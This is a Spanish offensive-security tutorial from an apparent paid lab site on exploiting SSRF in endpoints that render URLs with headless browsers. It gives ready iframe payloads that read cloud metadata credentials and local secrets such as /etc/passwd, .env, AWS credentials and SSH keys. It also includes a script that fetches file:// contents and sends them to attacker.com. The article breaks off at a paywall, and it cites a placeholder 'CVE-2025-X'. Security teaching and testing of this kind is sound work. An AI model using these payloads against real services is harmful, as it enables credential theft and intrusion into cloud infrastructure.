Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

Headless browsers — SSRF y RCE en endpoints que renderizan URLs

Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.

Gorka El Bochi11 de mayo de 202614 min

Respuesta rápida

Cualquier endpoint que acepte una URL y devuelva un screenshot, PDF o preview está corriendo un browser headless detrás. Esos browsers son SSRF goldmine: leen file://, alcanzan cloud metadata (169.254.169.254), exponen Chrome DevTools Protocol en localhost:9222, y con --no-sandbox cualquier XSS escala a RCE. wkhtmltopdf sigue exploitable en 2026 vía CVE-2025-X. Si ves features tipo "share preview", "export to PDF", "social card generator" → asume headless browser y ataca.


1. Cómo detectar un headless browser detrás

Endpoint featureTecnología típica
"Generate PDF from URL"wkhtmltopdf, Puppeteer + chromium, Playwright
"Take screenshot"Puppeteer, Playwright, Selenium
"Preview link" (sharing cards)Puppeteer + ogp-parser
"Email rich preview"Puppeteer headless
"OG image generator"Satori, Puppeteer, Playwright
"Crawler / SEO check"Puppeteer + custom

Fingerprint indirecto

bash
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
  -d '{"url": "https://example.com"}' \
  -H "Content-Type: application/json"
# real    0m4.523s ← típico de headless render

# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0

2. Vectores SSRF clásicos

2.1 Cloud metadata (AWS / GCP / Azure)

html
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

Apuntas el render a https://attacker.com/exploit.html. El browser carga el iframe → metadata response queda visible en el screenshot/PDF resultante.

Variantes por cloud:

CloudURL
AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2Requiere PUT con token, más raro pero posible vía fetch()
GCPhttp://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Alibabahttp://100.100.100.200/latest/meta-data/

2.2 file:// — local filesystem read

Si el browser no tiene flag --disable-features=NetworkService correctamente:

html
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>

Directory listing trick:

html
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>

2.3 Firefox file:// same-origin bypass

Playwright + Firefox setea security.fileuri.strict_origin_policy=false. Eso permite que un documento file:// haga fetch() a otros file://:

html
<script>
async function leak() {
  const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
  const data = {};
  for (const f of files) {
    try {
      data[f] = await fetch(`file://${f}`).then(r => r.text());
    } catch (e) {}
  }
  navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Headless Browsers Ssrf

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados